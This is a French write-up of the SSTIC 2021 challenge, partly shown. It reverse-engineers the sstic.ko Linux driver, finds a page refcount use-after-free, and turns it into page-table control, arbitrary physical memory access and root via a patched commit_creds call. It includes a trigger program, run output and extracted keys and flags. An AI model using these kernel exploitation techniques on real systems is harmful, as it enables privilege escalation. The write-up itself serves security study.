En revanche on ne peut toujours pas obtenir les clefs du répertoire prod. Le device étant toujours en mode debug, il refuse de nous donner les clefs de prod…

Il faut trouver un moyen de mettre le device en mode production.

6. Level 5 : Linux driver

1. Analyse du driver sstic.ko

On utilise ghidra pour analyser le driver sstic.ko.

Init_module

La fonction *init_module* est appelé lors du chargement du module sstic.ko dans le noyau Linux.

```
init_module()
{
                /* register device major, minor*/
                alloc_chrdev_region();
                __class_create();
                device_create();


   cdev_init(&DAT_00101de0,&PTR___this_module_001018a0); // register file_operations
   /* fops : sstic_ioctl, sstic_mmap, fops_open, fops_release */
   iVar2 = cdev_add(&DAT_00101de0,DAT_00101e50,1);

   uVar3 = __pci_register_driver(&PTR_00101780,&__this_module,"sstic"); // register pci_driver struct: pci_probe_function


    sstic_region_cache = kmem_cache_create("sstic_region_cache",0x20,0,0,0);
    sstic_session_cache = kmem_cache_create("sstic_session_cache",0x30,0,0,0);
}
```

Les fonctions callback des file operations sont enregistrées par l'appel à cdev_init. Le driver enregistre les fonctions : sstic_ioctl, sstic_mmap, fops_open, fops_release.

L'appel à la fonction *pci_register_driver* enregistre la fonction callback *pci_probe_fonction* pour un device PCI avec un vendorID à 0x1337 et un deviceID à 0x10. Cette fonction est appelée quand un device PCI gérée par le driver est détecté.

Enfin le driver initialise des allocateurs pour des objets sstic_region et des sstic_session respectivement de 0x20 octets et 0x30 octets.

fops_open

La fonction fops_open est appelée quand le driver sstic est ouvert via un appel à open().

```
// int (*open) (struct inode *, struct file *);
 fops_open_001000e0(undefined8 param_1,long param_2)
{
 long lVar1;

 lVar1 = kmem_cache_alloc(sstic_session_cache,0xdc0);
 if (lVar1 != 0) {
   *(long *)(param_2 + 200) = lVar1;                    // struct file .private_data  field.
   *(long *)(lVar1 + 0x20) = lVar1 + 0x20;
   *(long *)(lVar1 + 0x28) = lVar1 + 0x20;
   return 0;
 }
 return 0xfffffff4;
}
```

Elle initialise un objet sstic session qui est associé au fichier ouvert (dans le champ private_data de la structure file).

ioctl_alloc_region

La fonction ioctl_alloc_region permet d'allouer une région qui sera ensuite mmapée en mémoire.

```
undefined8 ioctl_alloc_region(long sstic_session, uint *ioctl_params) // p1: obj in sstic_session_cache, p2: ioctl params
        // P2[0]: IN: size requested : 2^(n)
        // P2[1]: IN: protection mode
        // P2[2]: OUT: return value (next_id *4096)
{
        iVar2 = next_id;
        next_id = next_id + 1;

        p_phyreg = alloc_phy_region(p2[0]);
        if (p_phyreg=  == 0) return 0xffffffff4;

        iVar1 = 0x1f;
        if (*P2 != 0) {
                while (*P2 >> iVar1 == 0) {          //*P2 is a power of 2 (less than 32). get log2(p2[0]).
                iVar1 = iVar1 + -1;
                }
        }

        lVar5 = alloc_pages_current(0xdc0,iVar1);
                // 0xdc0 : linux/gfp.h :GFP_IO, GFP_FS, GFP_ZERO, GFP_DIRECT_RECLAIM, GFP_KSWAPD_RECLAIM
        split_page(lVar5,iVar1);
        // add the address of the pages in the phy_region.
        for (i=0; i<*p2; i++)
                { p_phyreg[0x18+i*8]= lvar5+i*0x40; }


        // Alloc new sstic_region_cache
        sstic_region = kmem_cache_alloc(sstic_region_cache,0xcc0);
        sstic_region[0x00] = (ptr64) p_phyreg //ret from alloc_phy_region
        sstic_region[0x08] = (uint32) p2[1] // vma flags.
        sstic_region[0x0c] = (uint32) iVar2 // Region unique_id

        // Insert sstic_region in double linked list of sstic_region referenced by the sstic_session
        sstic_region [0x10] = *(ptr64)(session_cache + 0x20)
        sstic_region [0x18] = (ptr64)(session_cache + 0x20)
        sstic_session[0x20] = sstic_region
}
// Return in param_2[2] = (next_id *4096)
```

Elle prend en paramètre :

- Le nombre de page (de 4K) demandée. Cette valeur doit être une puissance de 2.
- Les flags de la zone pour le mmap (défini dans mm.h) :

```
#define VM_READ             0x00000001
#define VM_WRITE            0x00000002
#define VM_EXEC             0x00000004
#define VM_SHARED           0x00000008
```

- La fonction retourne dans P2[2] un identifiant unique de la zone allouée (le next_id qui est incrémenté à chaque appel).

La fonction appel *alloc_phy_region*() pour allouer un tableau de 8*(nb_pages_requested+3) bytes. Ce tableau va servir à stocker les addresses des struct page allouées pour la région.

La fonction appel ensuite *alloc_pages_current(gfp, order)* ; avec en paramètre le page order le log2() du nombre de page demandée. La fonction retourne une « high order page ». La fonction appel ensuite split_pages() pour diviser la high order page en 2^order sous-pages.

Les adresses des struct page correspondantes sont stockées dans le tableau phyreg à partir de l'offset 0x18. Phyreg[0x10] contient le nombre de page allouée.

Enfin une structure sstic_region est alloué pour mémoriser l'adresse du tableau phyreg, les flags et l'identifiant de la région. La structure sstic_region est insérée dans la liste doublement chainée de sstic_region référencé par la structure sstic_session.

```
long alloc_phy_region(uint param_1)

{
 long lVar1;

 if (param_1 < 0x21) {
  lVar1 = __kmalloc((ulong)(param_1 + 3) << 3,0xdc0);
  if (lVar1 != 0) {
   *(undefined4 *)(lVar1 + 0x14) = 1;
   *(uint *)(lVar1 + 0x10) = param_1;
  }
  return lVar1;
 }
 return 0;
}
```

Sstic_mmap

La fonction sstic_mmap du driver est appelée quand un process appel la fonction mmap *(void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);* avec un fichier ouvert sur le driver sstic.ko.

Le paramètre offset de la fonction mmap est utilisé pour transmettre au driver l'identifiant de la région qui a été retourné par l'appel à ioctl_alloc_region()

```
//int (*mmap) (struct file *, sxtruct vm_area_struct *);
undefined8 sstic_mmap(long param_1,long *param_2)
{
        // Get sstic_session_cache from file->private_data
        // Find the sstic_region with the next_id filed matching the provided parameter in vma struct [0x13] vm_pgoff;

        lVar1 = puVar2[-2];
        // p_phyreg = sstic_region[0]

        uVar6 = param_2[10];  // vma->vm_flags;
        param_2[10] = uVar6 |   0x14044000;
        //#define VM_IO       0x00004000          /* Memory mapped I/O or similar */
        //#define VM_DONTEXPAND     0x00040000          /* Cannot expand with mremap() */
        //#define VM_DONTDUMP       0x04000000          /* Do not include in the core dump */
        //#define VM_MIXEDMAP       0x10000000          /* Can contain "struct page" and pure PFN pages */
        // from include/linux/mm.h#L250

        // Check the number of page of the vm_area is identical to the number of page allocated for the sstic_region.
        // Check the flags VM_READ and VM_WRITE of sstic_region and vm_area are identical.

        // Register the mv_ops functions for this vm_area
        vma[0x12] = sstic_vm_ops; // vma->vm_ops;

        // Allocate a new phyreg.
        new_phyreg = alloc_phy_region(*(undefined4 *)(lVar1 + 0x10));
        // Copy the phyreg of sstic_region to new phyreg

        // Pour toutes les pages référencées dans phyreg:
```

```
            *(int *)(lVar7 + 0x34) = *(int *)(lVar7 + 0x34) + 1;
            paddr[0x34]++; //ref counter in the struct page.

            vma[0x15] = new_phyreg; // Store the pointer to new phyreg in the vma->private_data

}
```

La fonction sstic_mmap recherche dans la liste chainée des sstic_region (référencée par sstic_session), la région dont l'identifiant correspond à celui qui a été donnée en paramètre dans le champ offset de l'appel à mmap.

Ensuite la fonction vérifie la cohérence entre les paramètres de mmap et les attributs de la sstic_region. Le nombre de page doit être identique et les flags VM_READ, VM_WRITE doivent être identiques.

Elle met ensuite dans le champ *vma->vm_ops* les *sstic_vm_ops* qui comportent les fonctions : *sstic_vm_open*, *sstic_vm_close*, *sstic_vm_split* et *sstic_vm_fault*.

Enfin un nouveau tableau phyreg est alloué. Le phyreg associé à la sstic_region est copié dans le nouveau tableau phyreg. L'adresse du nouveau phyreg est stockée dans le champ *vma->private_data*

Enfin pour toutes les struct page référencées dans la phyreg, le référence counter est incrémenté.

sstic_vm_fault

Il s'agit du page fault handler pour une vm_area qui a été mmapée au préalable.

Les pages allouées n'ont pas été ajouté à la vm_area lors de l'appel à mmap. Quand un process essaye d'accéder pour la première fois à une nouvelle page de la mémoire mmapée, une exception page fault est générée. Le vm_fault handler va être appelé.

```
//vm_fault_t (*fault)(struct vm_fault *vmf)
undefined8 sstic_vm_fault(long **param_1) {

 plVar1 = *param_1;
 //plVar1 = vma; // Target vma

 plVar4 = (long *)((long)param_1[3] - *plVar1);
 //plVar4 =  vm_fault->address - vma->va_start;

 uVar3 = (ulong)plVar4 >> 0xc;
 // uVar3 = page_number;
  // plVar1[0x15] == phyreg
 // Check   page_number < phyreg[0x10] && phyreg[0x18 + page_number * 8] !=0 )
 if ((uVar3 < *(uint *)(plVar1[0x15] + 0x10)) && (*(long *)(plVar1[0x15] + 0x18 + uVar3 * 8) !=0))
 {
   pageref= phyreg[0x18 + page_number * 8]
   iVar2 = vm_insert_page(plVar1, ((ulong)plVar4 & 0xfffffffffffff000) + *plVar1, pageref);
   // iVar2 = vm_insert_page(vma, ((ulong)plVar4 & 0xfffffffffffff000) + vma->va_start, pageref);
//int vm_insert_page(struct vm_area_struct *vma, unsigned long addr,
                                        struct page *page);

   if (iVar2 == -0xc) {
     return 1;  // VM_FAULT_OOM   //Out Of Memory
   }
   if ((-1 < iVar2) || (iVar2 == -0x10)) {
     return 0x100;  // VM_FAULT_NOPAGE   ->fault installed the pte, not return page
   }
 }
 return 2; //VM_FAULT_SIGBUS  //Bad access
```

```
}
```

A partir de l'adresse qui a provoqué le page fault et l'adresse du début de la vma, la fonction détermine la position de la page concernée dans le tableau phyreg associée à la vma.

La fonction appel ensuite vm_insert_page() pour ajouter la struct page dans la vma.

Sstic_vm_split

Le handler vm_split est appelé quand une vma est scindée, typiquement un appel à mumap a enlevé une partie de l'espace mémoire mappé.

(NB : Dans les dernières versions du noyau, cette fonction a été renommée may_split. Elle est normalement utilisée pour demander au driver si la vma peut être scindée. Ici l'utilisation qui est fait du handler est assez étrange !).

```
undefined8 sstic_vm_split(undefined8 *param_1,undefined8 param_2)
//int (*split)(struct vm_area_struct * area, unsigned long addr) {
 puVar1 = (undefined8 *)param_1[0x15];
 //phyreg = vma->private_data

 puVar1[1] = param_2;
 //phyeg[0x8]= addr;
 *puVar1 = *param_1;
 //phyeg[0]= vma->va_start;
 return 0;
}
```

La fonction va seulement mettre dans phyreg[0] l'adresse de début de la vma et dans phyreg[0x08] l'adresse du split de la vma.

Sstic_vm_open

Cette fonction est appelée quand une vma est ouverte. Typiquement elle est appelée en cas de fork d'un process. Les vma du process parent sont ouvert dans le process fils. Elle est également en cas de split d'une vma.

```
//void (*open)(struct vm_area_struct * area)
void sstic_vm_open(ulong *param_1) {

 phyreg = aera[0x15];  // vma->private_data
 if (phyreg[0x08] !=0) {  // vma has been split
            uVar10 = param_1[1] - *param_1 >> 0xc;
            //uVar10 = (area->vm_end-area->vm_start)/4096;
            Nphyreg = alloc_phy_region(uVar10 & 0xffffffff);

            if (phyreg[0x08] <= area->vm_start) {
                        uVar9 = (phyreg[0x08] - phyreg[0]) /4096
                        for (i=0; i<uVar10 ; i++)
                                    Nphyreg[0x18+i*8] = phyreg[uVar9 +3 +i];
                        phyreg[0x10] = uVar9 ;
            } else {
                        for (i=0; i<uVar10 ; i++)
                                    Nphyreg[0x18+i*8] = phyreg[ 3 +i];
                        iVar6 = phyreg[0x10]; // Size of phyreg.
                        phyreg[0x10] = iVar6  - uVar10;
                  memmove(plVar2 + 3,plVar2 + 3 + uVar10,(ulong)(uint)(iVar6 - iVar7) * 8);
```

```
                        //memmove(phyreg + 3,phyreg + 3 + uVar10,(ulong)(uint)(iVar6 - uVar10) * 8);
    }
        aera[0x15] = Nphyreg ;
        return();
 }

// if (phyreg[0x08] ==0)
phyreg[0x14]++; // Ref counter

}
```

La fonction va tester si le champ phyreg[0x8] est nul.

Si phyreg[0x8] est nul, la vma n'a pas été scindée. Dans ce cas, le compteur de référence du phyreg est incrémenté.

Dans le cas ou phyreg[0x8] est non nul alors la vma a été scindée. Dans ce cas, un nouveau tableau Nphyreg est alloué. Les adresses des struct page du tableau phyreg qui appartiennent à la vma ouverte sont déplacées dans le tableau NPhyreg et sont enlevées du tableau phyreg. Il y a 2 cas si la vma ouverte est située avant ou après l'adresse du split.

sstic_vm_close

Le handler sstic_vm_close est appelée quand une vma est fermée. Quand un process se termine. Ou bien en cas de split de vma, pour fermer la vma correspondant à la plage d'adresse qui a été unmappée.

```
//void (*close)(struct vm_area_struct * area)
void sstic_vm_close(long param_1)
{
        phyreg = aera[0x15];
        phyreg[0x14]--; // ref counter
        if (phyreg[0x14] == 0)
                free_phy_region(phyreg + 0x14);
}
==================================================
void free_phy_region(long param_1)
        // P1 = phyreg+0x14
{
        if (*(int *)(param_1 + -4) != 0) {
                if ((phyreg[0x10]) != 0) { // Nb of pages
                        for (i=0; i<phyreg[0x10]; i++)
                                paddr = phyreg[0x18+i*8];
                                paddr[0x34]--; // Ref counter in the struct page.
                                if (paddr[0x34] == 0)  __put_page(paddr); // release page
                }
        }

        kfree(p1-0x14);
        //kfree(phyreg);
}
```

La fonction décrémente le compteur de référence du tableau phyreg. Si le compteur atteint 0, la fonction free_phy_region est appelé pour libérer le tableau phyreg.

Dans la fonction free_phy_region, les compteurs de références des struct page sont décrémentés. Quand un compteur atteint 0, la page est libérée via un appel à __put_page() Enfin le tableau phyreg est libérée via l'appel à kfree.

Les structures de données définis par le driver sont les suivantes :

```
Struct sstic_session {
        Struct phyreg * phyregs[4] ; // Renseigné par les appels à ioctl_assoc_region
        Struct sstic_region *next ;
        Struct sstic_region *prev ;
};

Struct sstic_region {
        Struct phyreg *Phyreg ;
        Uint32_t vma_flags ;
        Uint32_t Region_id ;
        Struct sstic_region *next ;
        Struct sstic_region *prev ;
}

Struct phyreg {
        Uint_64_t vma_start;
        Uint64_t split_addr;
        Uint32_t nb_of_pages ;
        Uint32_t refCounter ;
        Struct page* pageArray[] ;
};
```

2. La vulnérabilité

On utilise gdb et qemu avec l'option -s pour effectuer une analyse dynamique du driver.

On utilise le programme de test suivant :

```
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/wait.h>


int main()
{


    int fd;
    int res;
    unsigned char param[32];
    unsigned long long *param8= (unsigned long long *) param;
    unsigned int *param4= (unsigned int *) param;

    unsigned char *addr0;

    unsigned char val;
    int pid;
    int status;

    fd = open("/dev/sstic", O_RDWR);
    if (fd < 0 ) {
        printf("open failed\n");
        return(-1);
    }


    param4[0]= 0x04;
    param4[1]= 0x03;
    res=ioctl(fd,0xc0185300, &param);
    printf("res=%d\n",res);
    reg0 = param4[2];
    printf("Alloc region: 0x%X\n",reg0);


    addr0 = mmap(0, 0x4000, 3, 1, fd, reg0);
    printf("addr0 = %p\n",addr0);

    val = addr0[0];
    printf("addr0[0]=0x%02X\n",val);

    res=munmap(addr0, 0x1000 );
    printf("res(unmap)=%d\n",res);

    if ((pid = fork()) == 0) {
        printf("in child process\n");
        sleep(5);
    } else {
        printf("in parent process\n");
        wait(&status);

        res=munmap(addr0, 0x4000 );
        printf("res(unmap2)=%d\n",res);

  }
```

```
    close(fd);
}
```

On utilise gdb pour instrumenter l'exécution du driver (les commandes gdb utilisées sont disponibles en annexe). On observe les résultats suivants :

```
mmap: (1ae40) 0x7f0a48040000 - 0x7f0a48044000
        phyreg : 0xffff8b0b820378c0 : 0x04 : 0x4400, 4440, 4480, 44c0.

vm_split: 0x7f0a48041000

vm_open:(10a840) 0x7f0a48040000 - 0x7f0a48041000
        phyreg : 0xffff8b0b820378c0 : 0x04 : 0x4400, 4440, 4480, 44c0 // 40000-41000
        Nphyreg : 0xffff8b0b81188740: 0x01 : 0x4400
        phyreg : 0xffff8b0b820378c0 : 0x03 : 4440, 4480, 44c0 // 40000-41000
vm_close:(10a840)
        free_phyreg : 0xffff8b0b81188740

vm_open:(100840) 0x7f0a48041000 - 0x7f0a48044000
        phyreg:  0xffff8b0b820378c0: 0x03 : 4440, 4480, 44c0 // 40000-41000
        Nphyreg: 0xffff8b0b82037940: 0x03 : 4480, 44c0, 44c0 : BUG!! Copy from phyreg + offset (offset = (41000-40000)/1000))
        phyreg:  0xffff8b0b820378c0: 0x01 : 4440  // 40000-41000

vm_close (100840)
        free_phy_region 0xffff8b0b82037940 : 0x03 : 4480, 44c0, 44c0

vm_close (1ae40)
        free_phy_region 0xffff8b0b820378c0 : 0x01 : 4440 // 40000-41000

free_sstic_session
        free_sstic_region
        free_phy_region 0xffff8b0b82037800 : 0x04 : 4400, 4440, 4480, 44c0
```

L'appel à mmap crée un mapping d'une région de 4 pages en mémoire : (de 0x7f0a48040000 - 0x7f0a48044000). Les adresses des 4 struct page sont stockés dans le phyreg en 0x78c0.

Après le split (i.e. l'appel à munmap(0x1000)), vm_open est appelé sur 2 nouvelles vma. Une vma de 1 page (en 0x10a840) et une vma de 3 pages (en 0x100840). Les structures vma ont été initialisées en copiant la structure vma d'origine (en 1ae40). Elles sont donc associées par défaut à même structure phyreg en 0x78c0.

Le premier appel à vm_open sur la vma (en 0x10a840) fonctionne correctement :

Un nouveau Nphyreg(7940) de 1 page est créé : il contient la référence à la page 0x4400

Il reste dans phyreg(78c0) les 3 autres pages : 0x4440, 0x4480, 0x44c0.

En revanche le deuxième appel à vm_open sur la vma(0x100840) donne des résultats incorrects :

Il est associé au phyreg (78c0) qui a déjà été modifié lors de l'appel précèdent. En fait au début de l'appel, il contient la bonne liste de page pour la vma, mais comme il contient encore les informations du split en phyreg[1], la fonction vm_open va créer un nouveau Nphyreg pour le remplacer. Le nouveau Nphyreg crée référence les pages 0x4480, 0x44c0 et 0x44c0. La page 0x44c0 apparait 2 fois dans la liste !

Ainsi lors de l'appel à vm_close pour la vma (0x100840), le compteur de référence de la page 0x44c0 va être décrémente 2 fois !

- ⇨ **<u>On peut exploiter ce bug pour obtenir une vma qui va contenir une page libérée.</u>**

3. Exploitation de la vulnérabilité

Pour exploiter la vulnérabilité, il faut que la page libérée soit réallouée pour contenir une structure système qui pourra ainsi être compromise par le process user qui a créé le mmap.

On va allouer des buffers assez grands dans le process user (on alloue 10 fois de suite une centaine de page de 4 K via malloc), une nouvelle vma va être ajouté au process user par la librairie glibc malloc (qui appel mmap(MAP_ANONYMOUS) pour cela).

La page mémoire qui a été libérée par le bug du driver sstic va être allouée par la fonction *__pte_alloc_one* pour allouer une Page Table Entry qui va être utilisé pour mapper une partie des adresses virtuelles de la vma qui est ajouté au process user.

(NB: L'allocateur de page de Linux utilise l'algorithme binary buddy allocator. La page libérée par le bug du driver sstic est une page isolée. Les pages physiques adjacentes ne sont pas libres. Cela explique pourquoi cette page n'est pas utilisée pour les données des buffers alloués par le programme mais pour allouer une PTE. *Pte_alloc_one()* appel l'allocateur de page *alloc_pages(gfp, 0).* Il demande une page unique (page order = 0). Pour les données des buffers, l'allocateur de page est appelé pour allouer plusieurs pages consécutives (order >0).).

Le programme d'exploitation est disponible en annexe.

⇨ **Depuis le process user on peut donc modifier le contenu d'une Page Table Entry. On a ainsi accès à la toute la mémoire physique du système en court-circuitant les protections mémoires.**

Lecture/écriture à une adresse physique arbitraire

On implémente dans le programme de test les fonctions PEEKP et POKEP pour aller respectivement lire et écrire à une adresse physique de la mémoire. Ces fonctions commencent par écrire l'adresse de la page physique à laquelle on veut accéder dans la première entrée de la PTE.

On va ensuite lire toutes les valeurs qui sont dans les buffers g_ptr. Cette étape permet de s'assurer que le cache TLB va être correctement mis à jour quand on va accéder à l'adresse correspondant à l'entrée que nous avons modifié dans le PTE. On peut ensuite lire et écrire à l'adresse virtuelle correspondante à l'entrée modifiée du PTE pour accéder à la page physique demandée.

4. Les clefs de production

Pour obtenir les clefs de production, on va :

- A/ Rechercher dans la mémoire l'emplacement du module sstic.ko
- B/ Patcher le code du module pour écrire 0 dans le registre 0x28.
- C/ Appeler ioctl get_key pour obtenir les clefs de production.

Recherche du module sstic.ko en mémoire physique.

A cause du KASLR, l'emplacement du module en mémoire est inconnu.

Mais il n'y a que 128 Mb de mémoire dans la VM du DRM server. On a donc seulement 32768 pages de 4Ko. On peut facilement faire une recherche exhaustive.

Le module est toujours chargé à un début de page mémoire.

On va parcourir toutes les pages pour trouver la page qui commence par la séquence : 0x48000000a8878b48.

Modification du code du module sstic.

On va ensuite modifier le code de la fonction ioctl_submit_command pour écrire la valeur 0 dans le registre 0x28 du device PCI et normalement mettre le device PCI en mode production.

Il faut ensuite appeler les fonctions ioctl(submit_command) et ioctl(get_key) pour obtenir les clefs de productions.

⇨ Malheureusement cette première tentative échoue. Le device PCI est toujours en mode debug !

On va alors essayer de réinitialiser le device PCI pour le mettre en mode production.

Reset du driver PCI

On sait que le device PCI qui nous intéresse a un vendorID à 0x1337 et un deviceID à 0x10.

Via la commande dmesg, on trouve que le device est à l'emplacement pci 0000:00:04.0.

```
[    0.883045] pci 0000:00:04.0: [1337:0010] type 00 class 0x00ff00
[    0.883285] pci 0000:00:04.0: reg 0x10: [mem 0xfebf1000-0xfebf10ff]
```

Pour réinitialiser le device PCI on va utiliser les commandes suivantes. Il est nécessaire d'avoir les droits root pour exécuter ces commandes.

```
/bin/echo 1 > /sys/bus/pci/devices/0000:00:04.0/remove
/bin/echo 1 > /sys/bus/pci/rescan
```

Modification du code du module sstic V2.

On va modifier le code de la fonction ioctl_submit_command pour appeler commit_cred(prepare_kernel_cred(0)) et ainsi obtenir les droits root.

On va également modifier le code de la fonction pci_probe pour écrire la valeur 0 dans le registre 0x28 quand le device est réinitialisé (pour le mettre en mode production et pas en debug).

Après avoir modifié les fonctions du module sstic, on appel :

```
ioctl(submit_command) //pour devenir root.
system("/bin/id");
system("/bin/lspci");
system("/bin/echo 1 > /sys/bus/pci/devices/0000:00:04.0/remove")
system("/bin/lspci");
system("/bin/echo 1 > /sys/bus/pci/rescan");
system("/bin/lspci");
ioctl(get_key)
```

Maintenant ça fonctionne, on arrive à obtenir les clefs de production.

```
uid=0(root) gid=0(root)
00:01.0 Class 0601: 8086:7000
00:04.0 Class 00ff: 1337:0010
00:00.0 Class 0600: 8086:1237
00:01.3 Class 0680: 8086:7113
00:03.0 Class 0200: 8086:100e
00:01.1 Class 0101: 8086:7010
00:02.0 Class 0300: 1234:1111

00:01.0 Class 0601: 8086:7000
00:00.0 Class 0600: 8086:1237
00:01.3 Class 0680: 8086:7113
00:03.0 Class 0200: 8086:100e
00:01.1 Class 0101: 8086:7010
00:02.0 Class 0300: 1234:1111

00:01.0 Class 0601: 8086:7000
00:04.0 Class 00ff: 1337:0010
00:00.0 Class 0600: 8086:1237
00:01.3 Class 0680: 8086:7113
00:03.0 Class 0200: 8086:100e
00:01.1 Class 0101: 8086:7010
00:02.0 Class 0300: 1234:1111

dbg state=0
res=0
p0=0xFBDF1AF71DD4DDDA
0xDA 0xDD 0xD4 0x1D 0xF7 0x1A 0xDF 0xFB 0x97 0x94 0x23 0x99 0xA2 0x79 0x14 0x62 0x40 0x26 0x30 0xED 0x84 0x6D 0x3A 0x64
res=0

dbg state=0
res=0
p0=0xED6787E18B12543E
0x3E 0x54 0x12 0x8B 0xE1 0x87 0x67 0xED 0xBB 0x24 0xB8 0x7F 0x4D 0xA6 0x09 0x40 0x0B 0x2D 0x70 0x49 0x0F 0xBD 0x18 0xE9
res=0

dbg state=0
res=0
p0=0xD603C7E177F13C40
0x40 0x3C 0xF1 0x77 0xE1 0xC7 0x03 0xD6 0xDB 0x6F 0x43 0x5E 0xF9 0xDE 0xED 0x88 0x1F 0xEA 0x7E 0x51 0x70 0x6F 0xE2 0x97
```

Le programme complet *tst_driverR10.c* est disponible en annexe.

On peut maintenant déchiffrer le répertoire production

[{"name": "914f6f6e67591ac4d03baa5110c9c5322eec7ace16f311233bfe3f674d93a2bc.enc", "real_name": "Canal_Historique.mp4", "type": "mp4", "perms": "0000000000001000", "ident": "ed6787e18b12543e"},
{"name": "a24fad5785bd82f71b184100def10e56e9b239930ad06cfe677f6a8d692e452c.enc", "real_name": "flags.txt", "type": "txt", "perms": "0000000000000000", "ident": "fbdf1af71dd4ddda"}]

Et également télécharger et déchiffrer les fichiers flags.txt et canal_Historique.mp4.

Le fichier flag.txt contient le flag du niveau 5 :

SSTIC{bf3d071f5a8a45fabc549d54be841f8b}

7. Final

Le fichier Canal_historique.mp4 contient une vidéo de la présentation « SSTIC Canal Historique ».

Mais on ne voit ne pas l'adresse email de validation du challenge !

Après quelques minutes de recherche on finit par trouver qu'il y a une deuxième piste vidéo. Sur la deuxième piste vidéo, l'adresse email ldp@sstic-canalhistorique.org est remplacé par l'adresse de validation du challenge :

44608171b27e7195d4cf@challenge.sstic.org

8. Annexes

1. Level 1

1. Get_img.c

```
#include <stdio.h>
#include <string.h>
#include <stdlib.h>



typedef struct _blk_info
{
	int num;
	long long lba;
	long len;
} blk_info;
/*********************************/
#define MAX_LINE 128
int get_cmdinfo(char *fname, blk_info *wcmds, int maxcmd)
{

	FILE *f_cmd;
	char line[MAX_LINE];
	char *ptr;
	int num;
	long lba;
	int len;
	int cnt=0;

	f_cmd = fopen(fname,"r");
	if (f_cmd == NULL)
		exit(1);

	while (fgets(line, MAX_LINE, f_cmd) != NULL) {


		ptr = strstr(line , "LBA:");
		lba = strtol(ptr+4, NULL, 16);

		ptr = strstr(line , "Len:");
		len = strtol(ptr+4, NULL, 10);

		line[5]=0;
		num = atoi(line);

		wcmds[cnt].num = num;
		wcmds[cnt].lba = lba;
		wcmds[cnt].len = len;
		cnt ++;
	}

	fclose(f_cmd);

	return(cnt);
}
/*********************************/
int show_blk_info(blk_info * blki, int nb)
{
	int i;
	int num;
	long lba;
	int len;
	int sum=0;

	for (i=0; i<nb; i++) {
```

```
                        len = blki[i].len;
                        lba = blki[i].lba;
                        num = blki[i].num;
                        sum+= len;
                        printf("num=%4d, lba=0x%08lx, len=%4d\n",num, lba, len);
                }

                printf("sum=%d\n",sum);
}
/*********************************/
/*********************************/
int create_img(blk_info *wcmds, int n1, blk_info *rcmds, int n2)
{
                int i=0;
                int numw;
                int numr;
                long lba;
                int len;

                int cr=0;
                int cw=0;

                blk_info *tab[200];
                char fnames[200][200];

                FILE * fchimg;
                FILE *fch;
                int n;
                int j;

                unsigned char buffer[512*512];

                fchimg= fopen("KeyIMG.bin","wb");
        if (fchimg == NULL)
                exit(1);


                while (cw<n1 && cr < n2) {
                        numw = wcmds[cw].num;
                        numr = rcmds[cr].num;
                        if (numr < numw) {
                                sprintf(fnames[i],"R_BLKS_%d.bin",cr);
                                tab[i++] = &rcmds[cr];
                                cr++;
                        } else {
                                sprintf(fnames[i],"W_BLKS_%d.bin",cw);
                                tab[i++] = &wcmds[cw];
                                cw++;
                        }
                }
                if (cw == n1) {
                        for (j=i; j<n1+n2; j++) {
                                sprintf(fnames[j],"R_BLKS_%d.bin",cr);
                                tab[j] = &rcmds[cr++];
                        }
                } else {
                        for (j=i; j<n1+n2; j++) {
                                sprintf(fnames[j],"W_BLKS_%d.bin",cw);
                                tab[j] = &wcmds[cw++];
                        }
                }

                for (i=0; i<n1+n2; i++) {
                        lba = tab[i]->lba;
                        fch = fopen(fnames[i],"rb");
                        printf("fname =%s\n",fnames[i]);
                        if (fch == NULL)  {
                                printf("fname =%s\n",fnames[i]);
                                printf("i =%d\n",i);
                                exit(1);
                        }
```

```
                        n = fread(buffer, 1, 512*512, fch);
                        fseek(fchimg, lba*512, SEEK_SET);
                        fwrite(buffer, 1, n, fchimg);
                        fclose(fch);
                }


                fclose(fchimg);

}
/*******************************/
#define MAX_CMDS 256
#define BLK_SIZE 512
int main()
{
                blk_info  wcmds[MAX_CMDS];
                blk_info  rcmds[MAX_CMDS];
                int res;
                int res2;


                res = get_cmdinfo("SCSI_Write.txt", wcmds, MAX_CMDS);
                printf("res=%d\n",res);
                show_blk_info(wcmds, res);

                res2 = get_cmdinfo("SCSI_READ.txt", rcmds, MAX_CMDS);
                printf("res=%d\n",res2);
                show_blk_info(rcmds, res2);


                create_img(wcmds, res, rcmds, res2);
}
```

2. Level 2

1. Play_ext_maze.py

```
import sys
import os

import socket
import time
import math

import pexpect
import tty

import ropbuilder

#maze_server = "127.0.0.1 7777"
maze_server = "challenge2021.sstic.org 4577"


def wait_pattern(cnx, pattern):
	i = cnx.expect([pexpect.TIMEOUT, pattern])
	if i == 0: # Timeout
		print('ERROR!')
		print(cnx.before)
		print(cnx.after)
		sys.exit (1)

def wait_patterns(cnx, pattern, pat2):
	i = cnx.expect([pexpect.TIMEOUT, pattern, pat2])
	if i == 0: # Timeout
		print('ERROR!')
		print(cnx.before)
		print(cnx.after)
		sys.exit (1)
	return(i)


def get_uid(line):
	patrn = b'Your UID is '
	lgp = len(patrn)
	pos = line.find(patrn)
	if pos != -1:
		uid = line[pos+lgp:pos+lgp+64]
		return(uid)
	return(None)

def save_uid(uid):
	with open("uid.txt","wb") as fch:
		uid = fch.write(uid)

def restore_uid():
	try:
		with open("uid.txt","rb") as fch:
			uid = fch.read()
			return(uid)
	except FileNotFoundError:
		return(None)

def init_session(cnx):
	uid = restore_uid()
	wait_pattern(cnx, "Please enter your UID ")
	print("OK")
	if (uid == None):
		cnx.send('\n')
		line = cnx.readline()
		print(line)
		uid = get_uid(line)
		save_uid(uid)
		print("uid=%s"%uid)
	else:
		cnx.sendline(uid)

	wait_pattern(cnx, '8. Exit')
```

```
def register_pseudo(cnx, pseudo):
        cnx.sendline('1')
        wait_pattern(cnx, 'Pseudo :')

        print('Lg Pseudo:%d'%len(pseudo))

        cnx.sendline(pseudo)
        wait_pattern(cnx, '8. Exit')


def create_maze(cnx, name, score):
        cnx.sendline('2')

        wait_pattern(cnx, '3. Maze multipass with traps')
        cnx.sendline('3')



        wait_pattern(cnx, 'Random maze or custom maze ?')
        cnx.sendline('c')

        wait_pattern(cnx, 'Width odd and greater than 3:')
        cnx.sendline('5')

        wait_pattern(cnx, 'Height odd and greater than 3:')
        cnx.sendline('5')

        wait_pattern(cnx, 'Enter the percentage of wall to remove, default is 5%:')
        cnx.sendline('100')

        wait_pattern(cnx, 'Number of traps between 0 and 4:')
        cnx.sendline('1')

